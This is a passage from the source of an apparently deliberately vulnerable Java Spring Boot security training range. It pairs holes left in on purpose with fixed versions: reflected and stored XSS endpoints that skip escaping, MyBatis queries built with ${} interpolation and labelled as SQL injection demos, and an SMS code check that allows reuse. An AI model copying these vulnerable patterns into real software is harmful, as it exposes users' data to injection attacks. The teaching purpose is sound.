8 | import org.springframework.web.bind.annotation.RequestMapping;
9 | import org.springframework.web.bind.annotation.RestController;
10 | import org.springframework.web.util.HtmlUtils;
11 |
12 | @Slf4j
13 | @RestController
14 | @RequestMapping("/xss/reflected")
15 | public class ReflectedController {
16 |
17 | @GetMapping("/vuln1")
18 | public Result Vuln1(String name) {
19 | log.info("请求参数: {}", name);
20 | return Result.success("Hello, " + name);
21 | }
22 |
23 | @GetMapping("/sec1")
24 | public Result Sec1(String name) {
25 | log.info("请求参数: {}", name);
26 | String newName = Security.xssFilter(name);
27 | return Result.success("Hello, " + newName);
28 | }
29 |
30 | /**
31 | * 采用Spring自带的HtmlUtils方法防止xss脚本攻击
32 | */
33 | @GetMapping("/sec2")
34 | public Result Sec2(String name) {
35 | log.info("请求参数: {}", name);
36 | String newName = HtmlUtils.htmlEscape(name);
37 | return Result.success("Hello, " + newName);
38 | }
39 |
40 | /**
41 | * 采用OWASP Java Encoder方法防止xss攻击
42 | */
43 | @GetMapping("/sec3")
44 | public Result Sec3(String name) {
45 | log.info("请求参数: {}", name);
46 | String newName = Encode.forHtml(name);
47 | return Result.success("Hello, " + newName);
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/XSS/StoredController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.XSS;
2 |
3 | import icu.secnotes.pojo.MessageBoard;
4 | import icu.secnotes.pojo.Result;
5 | import icu.secnotes.service.MessageBoardService;
6 | import lombok.extern.slf4j.Slf4j;
7 | import org.owasp.esapi.ESAPI;
8 | import org.springframework.beans.factory.annotation.Autowired;
9 | import org.springframework.web.bind.annotation.*;
10 |
11 | import java.util.List;
12 |
13 | @RestController
14 | @Slf4j
15 | @RequestMapping("/xss/stored")
16 | public class StoredController {
17 |
18 | @Autowired
19 | private MessageBoardService messageBoardService;
20 |
21 | /**
22 | * 添加留言
23 | */
24 | @PostMapping("/addMessage")
25 | public Result addMessage(@RequestBody MessageBoard messageBoard) {
26 | if (messageBoard.getMessage() == null || "".equals(messageBoard.getMessage())) {
27 | log.error("留言内容不能为空");
28 | return Result.error("留言内容不能为空");
29 | }
30 | messageBoardService.insertMessage(messageBoard);
31 | return Result.success();
32 | }
33 |
34 | /**
35 | * 查询留言
36 | */
37 | @GetMapping("/queryMessage")
38 | public Result queryMessage() {
39 | List messageBoards = messageBoardService.selectMessage();
40 | return Result.success(messageBoards);
41 | }
42 |
43 | /**
44 | * ESAPI安全工具包防御xss
45 | */
46 | @PostMapping("/addMessageSec")
47 | public Result addMessageSec(@RequestBody MessageBoard messageBoard) {
48 | if (messageBoard.getMessage() == null || "".equals(messageBoard.getMessage())) {
49 | log.error("留言内容不能为空");
50 | return Result.error("留言内容不能为空");
51 | }
52 |
53 | // ESAPI安全工具包防御xss
54 | System.out.println(ESAPI.encoder().encodeForHTML(messageBoard.getMessage()));
55 | messageBoard.setMessage(ESAPI.encoder().encodeForHTML(messageBoard.getMessage()));
56 | messageBoardService.insertMessage(messageBoard);
57 | return Result.success();
58 | }
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/exception/GlobalExceptionHandler.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.exception;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import org.springframework.validation.FieldError;
5 | import org.springframework.web.bind.MethodArgumentNotValidException;
6 | import org.springframework.web.bind.annotation.ExceptionHandler;
7 | import org.springframework.web.bind.annotation.RestControllerAdvice;
8 |
9 | @RestControllerAdvice
10 | public class GlobalExceptionHandler {
11 | @ExceptionHandler(MethodArgumentNotValidException.class)
12 | public Result handleValidationExceptions(MethodArgumentNotValidException ex) {
13 | String errorMessage = ex.getBindingResult().getFieldErrors().stream()
14 | .map(FieldError::getDefaultMessage)
15 | .findFirst()
16 | .orElse("参数验证失败");
17 | return Result.error(errorMessage);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/interceptor/LoginCheckInterceptor.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.interceptor;
2 |
3 | import com.alibaba.fastjson.JSONObject;
4 | import icu.secnotes.pojo.Result;
5 | import icu.secnotes.utils.JwtUtils;
6 | import lombok.extern.slf4j.Slf4j;
7 | import org.springframework.stereotype.Component;
8 | import org.springframework.util.StringUtils;
9 | import org.springframework.web.servlet.HandlerInterceptor;
10 | import org.springframework.web.servlet.ModelAndView;
11 | import javax.servlet.http.HttpServletRequest;
12 | import javax.servlet.http.HttpServletResponse;
13 |
14 | @Component
15 | @Slf4j
16 | public class LoginCheckInterceptor implements HandlerInterceptor {
17 |
18 | /**
19 | * 目标资源方法运行前执行,返回true表示放行,返回false表示不放行
20 | * @param request
21 | * @param response
22 | * @param handler
23 | * @return
24 | * @throws Exception
25 | */
26 | @Override
27 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
28 | //1.获取请求url
29 | String url = request.getRequestURL().toString();
30 | log.info("访问的url是:{}", url);
31 |
32 | //2.判断请求url中是否login,如果包含说明是登录操作
33 | //但是,因为在WebConfig类中进行配置:.addPathPatterns("/**").excludePathPatterns("/login");,所以下面的判断方法永远不会执行
34 | if (url.contains("login") || url.contains("httpBasicLogin")){
35 | log.info("登录操作,放行");
36 | return true;
37 | }
38 |
39 | // if (url.contains("httpBasicLogin1")){
40 | // String USERNAME = "zhangsan"; // 硬编码用户名
41 | // String PASSWORD = "123"; // 硬编码密码
42 | //
43 | // // 处理HTTP Basic Auth登录
44 | // String token = request.getHeader("token");
45 | // if (token == null || !token.startsWith("Basic ")) {
46 | // log.info("HTTP Basic Auth登录,token缺失或者token格式错误");
47 | //// response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
48 | // response.setHeader("WWW-Authenticate", "Basic realm=\"Access to the site\"");
49 | // return false;
50 | // }
51 | //
52 | // String[] credentials = Security.decodeBasicAuth(token);
53 | // if (credentials == null || credentials.length != 2) {
54 | //// response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
55 | // return false;
56 | // }
57 | //
58 | // String username = credentials[0];
59 | // String password = credentials[1];
60 | //
61 | // if (!USERNAME.equals(username) || !PASSWORD.equals(password)) {
62 | // log.info("HTTP Basic Auth登录,账号密码错误,token:{}" , token);
63 | //// response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
64 | // return false;
65 | // }
66 | //
67 | // log.info("HTTP Basic Auth登录,放行,token:{}" , token);
68 | // return true; // 认证通过
69 | // }
70 |
71 | //3.获取请求头的令牌
72 | String jwttoken = request.getHeader("Authorization");
73 |
74 | /* //3.获取请求cookie中的jwt令牌
75 | String jwttoken = null;
76 |
77 | Cookie[] cookies = request.getCookies();
78 |
79 | //System.out.println(cookies.length); //Cannot read the array length because "cookies" is null
80 |
81 | if (cookies != null){
82 | for (Cookie cookie : cookies) {
83 | if ("token".equals(cookie.getName())){
84 | jwttoken = cookie.getValue();
85 | break;
86 | }
87 | }
88 | }*/
89 |
90 | //4.判断令牌是否存在,如果不存在,返回错误信息(未登录)
91 | if(!StringUtils.hasLength(jwttoken)){ //如果 jwttoken 为空或只包含空白字符(即没有长度)
92 | log.info("Authorization为空,返回未登录信息");
93 | Result error = Result.error("NOT_LOGIN");
94 | //手动转换, 对象--json
95 | String notLogin = JSONObject.toJSONString(error);
96 | response.getWriter().write(notLogin);
97 | return false;
98 | }
99 |
100 | //5.解析jwttoken,如果解析失败,返回错误信息(未登录)
101 | try {
102 | JwtUtils.parseJwt(jwttoken);
103 | } catch (Exception e) {
104 | e.printStackTrace();
105 | log.info("令牌解析失败,返回未登录信息");
106 | Result error = Result.error("NOT_LOGIN");
107 | //手动转换, 对象--json
108 | String notLogin = JSONObject.toJSONString(error);
109 | response.getWriter().write(notLogin);
110 | return false;
111 | }
112 |
113 | //6.jwt解析没问题,放行
114 | log.info("登录的令牌合法,放行");
115 | return true;
116 |
117 | }
118 |
119 | /**
120 | * 目标资源方法运行后执行,可以对请求域中的属性或视图做出修改
121 | * @param request
122 | * @param response
123 | * @param handler
124 | * @param modelAndView
125 | * @throws Exception
126 | */
127 | @Override
128 | public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
129 | // System.out.println("postHandle...");
130 | }
131 |
132 | /**
133 | * 视图渲染完毕后执行,最后运行
134 | * @param request
135 | * @param response
136 | * @param handler
137 | * @param ex
138 | * @throws Exception
139 | */
140 | @Override
141 | public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
142 | // System.out.println("afterCompletion...");
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/mapper/LoginMapper.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.mapper;
2 |
3 | import icu.secnotes.pojo.Admin;
4 | import org.apache.ibatis.annotations.Mapper;
5 | import org.apache.ibatis.annotations.Param;
6 | import org.apache.ibatis.annotations.Select;
7 |
8 | @Mapper
9 | public interface LoginMapper {
10 |
11 | /**
12 | * 管理员登录
13 | * @param admin
14 | * @return
15 | */
16 | @Select("select * from admin where username = #{username} and password = #{password}")
17 | Admin login(Admin admin);
18 |
19 | /**
20 | * 根据id获取管理员信息
21 | */
22 | @Select("select * from admin where id = #{id}")
23 | Admin getAdminById(@Param("id") String id);
24 |
25 | }
26 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/mapper/MessageBoardMapper.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.mapper;
2 |
3 | import icu.secnotes.pojo.MessageBoard;
4 | import org.apache.ibatis.annotations.Insert;
5 | import org.apache.ibatis.annotations.Mapper;
6 | import org.apache.ibatis.annotations.Select;
7 | import java.util.List;
8 |
9 | @Mapper
10 | public interface MessageBoardMapper {
11 |
12 | /**
13 | * 添加留言
14 | */
15 | @Insert("insert into MessageBoard(message) values(#{message})")
16 | void insertMessage(MessageBoard messageBoard);
17 |
18 | /**
19 | * 查询留言
20 | */
21 | @Select("select * from MessageBoard")
22 | List selectMessage();
23 | }
24 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/mapper/MfaSecretMapper.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.mapper;
2 |
3 | import icu.secnotes.pojo.MfaSecret;
4 | import org.apache.ibatis.annotations.*;
5 |
6 | @Mapper
7 | public interface MfaSecretMapper {
8 |
9 | /**
10 | * 生成用户的mfa secret字符串
11 | * @param mfaSecret
12 | * @return
13 | */
14 | @Insert("insert into mfa_secret(userId, secret, create_time, update_time) values (#{userId}, #{secret}, #{createTime}, #{updateTime})")
15 | int insert(MfaSecret mfaSecret);
16 |
17 | /**
18 | * 删除用户的mfa secret字符串,相当于重置MFA
19 | * @param mfaSecret
20 | * @return
21 | */
22 | @Delete("delete from mfa_secret where userId = #{userId}")
23 | int delete(MfaSecret mfaSecret);
24 |
25 | /**
26 | * 根据用户ID查询MFA密钥
27 | * @param userId
28 | * @return
29 | */
30 | @Select("select * from mfa_secret where userId = #{userId}")
31 | MfaSecret selectByUserId(Integer userId);
32 |
33 | /**
34 | * 更新用户的mfa secret字符串
35 | * @param mfaSecret
36 | * @return
37 | */
38 | @Update("update mfa_secret SET secret = #{secret}, update_time = #{updateTime} where id = #{id}")
39 | int update(MfaSecret mfaSecret);
40 |
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/mapper/SmsCodeMapper.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.mapper;
2 |
3 | import icu.secnotes.pojo.SmsCode;
4 | import org.apache.ibatis.annotations.Insert;
5 | import org.apache.ibatis.annotations.Mapper;
6 | import org.apache.ibatis.annotations.Select;
7 | import org.apache.ibatis.annotations.Update;
8 |
9 | import java.time.LocalDateTime;
10 |
11 | @Mapper
12 | public interface SmsCodeMapper {
13 |
14 | /**
15 | * 插入短信验证码,第一次生成,状态为未使用、有效期为5分钟、重试次数为0
16 | */
17 | @Insert("insert into sms_code(phone, code, create_time, expire_time) values(#{phone}, #{code}, #{createTime}, #{expireTime})")
18 | void insertSmsCode(SmsCode smsCode);
19 |
20 | /**
21 | * 插入短信验证码,参数是phone和code,其他字段使用默认值
22 | */
23 | @Insert("insert into sms_code(phone, code, create_time, expire_time) values(#{phone}, #{code}, #{createTime}, #{expireTime})")
24 | void insertSmsCodeByPhoneAndCode(String phone, String code, LocalDateTime createTime, LocalDateTime expireTime);
25 |
26 | /**
27 | * 更新验证码的使用状态
28 | */
29 | @Update("update sms_code set used = 1 where phone = #{phone} and code = #{code}")
30 | void updateSmsCodeUsed(SmsCode smsCode);
31 |
32 | /**
33 | * 更新“未使用的”验证码的重试次数,每使用一次重试次数加1,并且只更新最新一条未使用的验证码的重试次数
34 | */
35 | @Update("update sms_code set retry_count = retry_count + 1 where phone = #{phone} and used = 0 order by create_time desc limit 1")
36 | void updateSmsCodeRetryCount(String phone);
37 |
38 | /**
39 | * 查询手机验证码的校验次数,但是根据phone可能查询到多条记录,这里需要只返回最新一条记录的重试次数
40 | */
41 | @Select("select retry_count from sms_code where phone = #{phone} order by create_time desc limit 1")
42 | Integer selectRetryCount(String phone);
43 |
44 | /**
45 | * 根据phone和code校验短信验证码,限制只能校验未使用且未过期且重试次数小于5的验证码
46 | */
47 | @Select("select * from sms_code where phone = #{phone} and code = #{code} and used = 0 and retry_count < 5 and expire_time > now()")
48 | SmsCode selectByPhoneAndCode(String phone, String code);
49 |
50 | /**
51 | * 根据phone和code校验短信验证码,未限制验证码的使用状态,可重复使用
52 | */
53 | @Select("select * from sms_code where phone = #{phone} and code = #{code} and retry_count < 5 and expire_time > now()")
54 | SmsCode selectByPhoneAndCode2(String phone, String code);
55 |
56 | }
57 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/mapper/UserLoginLogMapper.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.mapper;
2 |
3 | import org.apache.ibatis.annotations.Delete;
4 | import org.apache.ibatis.annotations.Insert;
5 | import org.apache.ibatis.annotations.Mapper;
6 | import org.apache.ibatis.annotations.Select;
7 |
8 | import java.time.LocalDateTime;
9 |
10 | @Mapper
11 | public interface UserLoginLogMapper {
12 |
13 | /**
14 | * 插入登录失败日志
15 | */
16 | @Insert("insert into user_login_log( ip, username, loginTime) values(#{ip}, #{username}, #{loginTime})")
17 | void insertUserLoginLog(String ip, String username, LocalDateTime loginTime);
18 |
19 | /**
20 | * 根据ip删除所有登录日志
21 | */
22 | @Delete("delete from user_login_log where ip = #{ip}")
23 | void deleteUserLoginLogByIp(String ip);
24 |
25 | /**
26 | * 根据ip统计最近5分钟的登录失败次数
27 | */
28 | @Select("select count(*) from user_login_log where ip = #{ip} and loginTime > date_sub(now(), interval 5 minute)")
29 | int countUserLoginLogByIp(String ip);
30 | }
31 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/mapper/UserMapper.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.mapper;
2 |
3 | import icu.secnotes.pojo.User;
4 | import org.apache.ibatis.annotations.Mapper;
5 | import org.apache.ibatis.annotations.Param;
6 | import org.apache.ibatis.annotations.Select;
7 | import org.springframework.stereotype.Repository;
8 | import java.util.List;
9 |
10 | @Mapper
11 | @Repository
12 | public interface UserMapper {
13 | /**
14 | * 根据id查询用户,演示sql注入
15 | * @param id
16 | * @return
17 | */
18 | @Select("select * from user where id = ${id}")
19 | List selectUserById(String id);
20 |
21 | /**
22 | * 根据id查询用户,演示sql注入
23 | * @param username
24 | * @return
25 | */
26 | @Select("select * from user where username = '${username}'")
27 | List selectUserByUsername(@Param("username") String username);
28 |
29 | /**
30 | * 根据username查询用户,使用预编译
31 | * @param username
32 | * @return
33 | */
34 | @Select("select * from user where username = #{username}")
35 | List selectUserSecByUsername(@Param("username") String username);
36 |
37 | /**
38 | * 查询总记录数
39 | */
40 | @Select("select count(*) from user")
41 | int count();
42 |
43 | /**
44 | * 支持按字段排序的分页查询,获取用户列表数据
45 | */
46 | @Select("select * from user order by ${orderBy} limit #{start}, #{pageSize}")
47 | List pageOrderBy(@Param("orderBy") String orderBy, @Param("start") int start, @Param("pageSize") int pageSize);
48 |
49 | /**
50 | * 账号密码登录
51 | */
52 | @Select("select * from user where username = #{username} and password = #{password}")
53 | User passwordLogin(User user);
54 |
55 | @Select("select * from user where username = #{username} and password = #{password}")
56 | User passwordLogin2(String username, String password);
57 |
58 | }
59 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/pojo/Admin.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.pojo;
2 |
3 | import lombok.AllArgsConstructor;
4 | import lombok.Data;
5 | import lombok.NoArgsConstructor;
6 |
7 | import java.time.LocalDateTime;
8 |
9 | @Data
10 | @NoArgsConstructor
11 | @AllArgsConstructor
12 | public class Admin {
13 | private Integer id;
14 | private String name;
15 | private String username;
16 | private String password;
17 | private String token;
18 | private String avatar;
19 | private LocalDateTime createTime;
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/pojo/MessageBoard.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.pojo;
2 |
3 | import lombok.AllArgsConstructor;
4 | import lombok.Data;
5 | import lombok.NoArgsConstructor;
6 |
7 | @Data
8 | @NoArgsConstructor
9 | @AllArgsConstructor
10 | public class MessageBoard {
11 |
12 | private Integer id; //留言id
13 | private String message; //留言内容
14 |
15 | }
16 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/pojo/MfaSecret.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.pojo;
2 |
3 | import lombok.AllArgsConstructor;
4 | import lombok.Data;
5 | import lombok.NoArgsConstructor;
6 | import java.time.LocalDateTime;
7 |
8 | @Data
9 | @AllArgsConstructor
10 | @NoArgsConstructor
11 | public class MfaSecret {
12 | private Integer id;
13 | private Integer userId;
14 | private String secret;
15 | private LocalDateTime createTime;
16 | private LocalDateTime updateTime;
17 |
18 | public MfaSecret(Integer userId, String secret) {
19 | this.userId = userId;
20 | this.secret = secret;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/pojo/PageBean.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.pojo;
2 |
3 | import lombok.AllArgsConstructor;
4 | import lombok.Data;
5 | import lombok.NoArgsConstructor;
6 |
7 | import java.util.List;
8 |
9 | @Data
10 | @AllArgsConstructor
11 | @NoArgsConstructor
12 | public class PageBean {
13 | /** 总记录数 */
14 | private Integer total;
15 |
16 | /** 数据列表 */
17 | private List rows;
18 | }
19 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/pojo/Result.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.pojo;
2 |
3 | /**
4 | * 统一响应结果封装类
5 | */
6 | public class Result {
7 | private Integer code; //0 成功 1失败
8 | private String msg; //提示信息
9 | private Object data; //数据 data
10 |
11 | public Result() {
12 | }
13 |
14 | public Result(Integer code, String msg, Object data) {
15 | this.code = code;
16 | this.msg = msg;
17 | this.data = data;
18 | }
19 |
20 | public Integer getCode() {
21 | return code;
22 | }
23 |
24 | public void setCode(Integer code) {
25 | this.code = code;
26 | }
27 |
28 | public String getMsg() {
29 | return msg;
30 | }
31 |
32 | public void setMsg(String msg) {
33 | this.msg = msg;
34 | }
35 |
36 | public Object getData() {
37 | return data;
38 | }
39 |
40 | public void setData(Object data) {
41 | this.data = data;
42 | }
43 |
44 | // 用于返回增删改操作成功的结果
45 | public static Result success(Object data){
46 | return new Result(0,"success", data);
47 | }
48 |
49 | // 用于返回查询操作成功的结果
50 | public static Result success(){
51 | return new Result(0,"success", null);
52 | }
53 |
54 | // 用于返回操作失败的结果
55 | public static Result error(Object data){
56 | return new Result(1,"error", data);
57 | }
58 |
59 | @Override
60 | public String toString() {
61 | return "Result{" +
62 | "code=" + code +
63 | ", msg='" + msg + '\'' +
64 | ", data=" + data +
65 | '}';
66 | }
67 | }
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/pojo/SmsCode.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.pojo;
2 |
3 | import lombok.AllArgsConstructor;
4 | import lombok.Data;
5 | import lombok.NoArgsConstructor;
6 | import javax.validation.constraints.NotBlank;
7 | import javax.validation.constraints.Pattern;
8 | import java.time.LocalDateTime;
9 |
10 | @Data
11 | @NoArgsConstructor
12 | @AllArgsConstructor
13 | public class SmsCode {
14 |
15 | private Long id;
16 | @NotBlank(message = "手机号不能为空")
17 | @Pattern(regexp = "^1(3[0-9]|4[5-9]|5[0-3,5-9]|6[6]|7[0-8]|8[0-9]|9[1,8,9])\\d{8}$", message = "手机号格式错误")
18 | private String phone;
19 | private String code;
20 | private LocalDateTime createTime;
21 | private LocalDateTime expireTime;
22 | private Integer used;
23 | private Integer retryCount;
24 |
25 | }
26 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/pojo/User.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.pojo;
2 |
3 | public class User {
4 | private Integer id;
5 | private String username;
6 | private String password;
7 | private String name;
8 |
9 | public Integer getId() {
10 | return id;
11 | }
12 |
13 | public void setId(Integer id) {
14 | this.id = id;
15 | }
16 |
17 | public String getUsername() {
18 | return username;
19 | }
20 |
21 | public void setUsername(String username) {
22 | this.username = username;
23 | }
24 |
25 | public String getPassword() {
26 | return password;
27 | }
28 |
29 | public void setPassword(String password) {
30 | this.password = password;
31 | }
32 |
33 | public String getName() {
34 | return name;
35 | }
36 |
37 | public void setName(String name) {
38 | this.name = name;
39 | }
40 |
41 | @Override
42 | public String toString() {
43 | return "User{" +
44 | "id=" + id +
45 | ", username='" + username + '\'' +
46 | ", password='" + password + '\'' +
47 | ", name='" + name + '\'' +
48 | '}';
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/LoginService.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service;
2 |
3 | import icu.secnotes.pojo.Admin;
4 |
5 | public interface LoginService {
6 | Admin login(Admin admin);
7 |
8 | Admin getAdminById(String id);
9 | }
10 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/MessageBoardService.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service;
2 |
3 | import icu.secnotes.pojo.MessageBoard;
4 | import java.util.List;
5 |
6 | public interface MessageBoardService {
7 | /**
8 | * 添加留言
9 | */
10 | void insertMessage(MessageBoard messageBoard);
11 |
12 | /**
13 | * 查询留言
14 | */
15 | List selectMessage();
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/MfaSecretService.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service;
2 |
3 | import icu.secnotes.pojo.MfaSecret;
4 |
5 | public interface MfaSecretService {
6 |
7 | // 创建MFA密钥
8 | Integer createMfaSecret(MfaSecret mfaSecret);
9 |
10 | // 删除MFA密钥
11 | Integer deleteMfaSecret(MfaSecret mfaSecret);
12 |
13 | // 根据用户ID查询密钥
14 | MfaSecret getSecretByUserId(Integer userId);
15 |
16 | // 更新密钥
17 | int updateSecret(MfaSecret mfaSecret);
18 |
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/SmsCodeService.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service;
2 |
3 | import icu.secnotes.pojo.SmsCode;
4 | import java.time.LocalDateTime;
5 |
6 | public interface SmsCodeService {
7 | /**
8 | * 生成短信验证码
9 | * @param smsCode
10 | */
11 | void generateCode(SmsCode smsCode);
12 |
13 | void generateCodeByPhoneAndCode(String phone, String code, LocalDateTime createTime, LocalDateTime expireTime);
14 |
15 | /**
16 | * 更新验证码的使用状态和重试次数,第一次使用更新使用状态,后续每次使用增加重试次数
17 | * @param smsCode
18 | */
19 | void updateSmsCodeUsed(SmsCode smsCode);
20 |
21 | void updateSmsCodeRetryCount(String phone);
22 |
23 | Integer selectRetryCount(String phone);
24 |
25 | /**
26 | * 验证短信验证码
27 | * @param phone
28 | * @param code
29 | * @return
30 | */
31 | SmsCode verifyCode(String phone, String code);
32 |
33 | SmsCode verifyCode2(String phone, String code);
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/UserLoginLogService.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service;
2 |
3 | import java.time.LocalDateTime;
4 |
5 | public interface UserLoginLogService {
6 |
7 | void insertUserLoginLog(String username, String ip, LocalDateTime loginTime);
8 |
9 | void deleteUserLoginLogByIp(String ip);
10 |
11 | int countUserLoginLogByIp(String ip);
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/UserService.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service;
2 |
3 | import icu.secnotes.pojo.PageBean;
4 | import icu.secnotes.pojo.User;
5 | import java.util.List;
6 |
7 | public interface UserService {
8 | List selectUserById(String id);
9 |
10 | List selectUserByUsername(String username);
11 |
12 | PageBean pageOrderBy(String orderBy, Integer page, Integer pageSize);
13 |
14 | List selectUserSecByUsername(String username);
15 |
16 | User passwordLogin(User user);
17 |
18 | User passwordLogin2(String username, String password);
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/impl/LoginServiceImpl.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service.impl;
2 |
3 | import icu.secnotes.mapper.LoginMapper;
4 | import icu.secnotes.pojo.Admin;
5 | import icu.secnotes.service.LoginService;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 | import org.springframework.stereotype.Service;
8 |
9 | @Service
10 | public class LoginServiceImpl implements LoginService {
11 |
12 | @Autowired
13 | private LoginMapper loginMapper;
14 |
15 | @Override
16 | public Admin login(Admin admin) {
17 | return loginMapper.login(admin);
18 | }
19 |
20 | @Override
21 | public Admin getAdminById(String id) {
22 | return loginMapper.getAdminById(id);
23 | }
24 |
25 | }
26 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/impl/MessageBoardServiceImpl.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service.impl;
2 |
3 | import icu.secnotes.mapper.MessageBoardMapper;
4 | import icu.secnotes.pojo.MessageBoard;
5 | import icu.secnotes.service.MessageBoardService;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 | import org.springframework.stereotype.Service;
8 |
9 | import java.util.List;
10 |
11 | @Service
12 | public class MessageBoardServiceImpl implements MessageBoardService {
13 | @Autowired
14 | private MessageBoardMapper messageBoardMapper;
15 |
16 | @Override
17 | public void insertMessage(MessageBoard messageBoard) {
18 | messageBoardMapper.insertMessage(messageBoard);
19 | }
20 |
21 | @Override
22 | public List selectMessage() {
23 | return messageBoardMapper.selectMessage();
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/impl/MfaSecretServiceImpl.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service.impl;
2 |
3 | import icu.secnotes.mapper.MfaSecretMapper;
4 | import icu.secnotes.pojo.MfaSecret;
5 | import icu.secnotes.service.MfaSecretService;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 | import org.springframework.stereotype.Service;
8 |
9 | @Service
10 | public class MfaSecretServiceImpl implements MfaSecretService {
11 |
12 | @Autowired
13 | private MfaSecretMapper mfaSecretMapper;
14 |
15 | @Override
16 | public Integer createMfaSecret(MfaSecret mfaSecret) {
17 | return mfaSecretMapper.insert(mfaSecret);
18 | }
19 |
20 | @Override
21 | public Integer deleteMfaSecret(MfaSecret mfaSecret) {
22 | return mfaSecretMapper.delete(mfaSecret);
23 | }
24 |
25 | @Override
26 | public MfaSecret getSecretByUserId(Integer userId) {
27 | return mfaSecretMapper.selectByUserId(userId);
28 | }
29 |
30 | @Override
31 | public int updateSecret(MfaSecret mfaSecret) {
32 | return mfaSecretMapper.update(mfaSecret);
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/impl/SmsCodeServiceImpl.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service.impl;
2 |
3 | import icu.secnotes.mapper.SmsCodeMapper;
4 | import icu.secnotes.pojo.SmsCode;
5 | import icu.secnotes.service.SmsCodeService;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 | import org.springframework.stereotype.Service;
8 |
9 | import java.time.LocalDateTime;
10 |
11 | @Service
12 | public class SmsCodeServiceImpl implements SmsCodeService {
13 |
14 | @Autowired
15 | private SmsCodeMapper smsCodeMapper;
16 |
17 | @Override
18 | public void generateCode(SmsCode smsCode) {
19 | smsCodeMapper.insertSmsCode(smsCode);
20 | }
21 |
22 | @Override
23 | public void generateCodeByPhoneAndCode(String phone, String code, LocalDateTime createTime, LocalDateTime expireTime) {
24 | smsCodeMapper.insertSmsCodeByPhoneAndCode(phone, code, createTime, expireTime);
25 | }
26 |
27 | @Override
28 | public void updateSmsCodeUsed(SmsCode smsCode) {
29 | smsCodeMapper.updateSmsCodeUsed(smsCode);
30 | }
31 |
32 | @Override
33 | public void updateSmsCodeRetryCount(String phone) {
34 | smsCodeMapper.updateSmsCodeRetryCount(phone);
35 | }
36 |
37 | @Override
38 | public Integer selectRetryCount(String phone) {
39 | return smsCodeMapper.selectRetryCount(phone);
40 | }
41 |
42 | @Override
43 | public SmsCode verifyCode(String phone, String code) {
44 | return smsCodeMapper.selectByPhoneAndCode(phone, code);
45 | }
46 |
47 | @Override
48 | public SmsCode verifyCode2(String phone, String code) {
49 | return smsCodeMapper.selectByPhoneAndCode2(phone, code);
50 | }
51 |
52 | }
53 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/service/impl/UserLoginLogServiceImpl.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.service.impl;
2 |
3 | import icu.secnotes.mapper.UserLoginLogMapper;
4 | import icu.secnotes.service.UserLoginLogService;
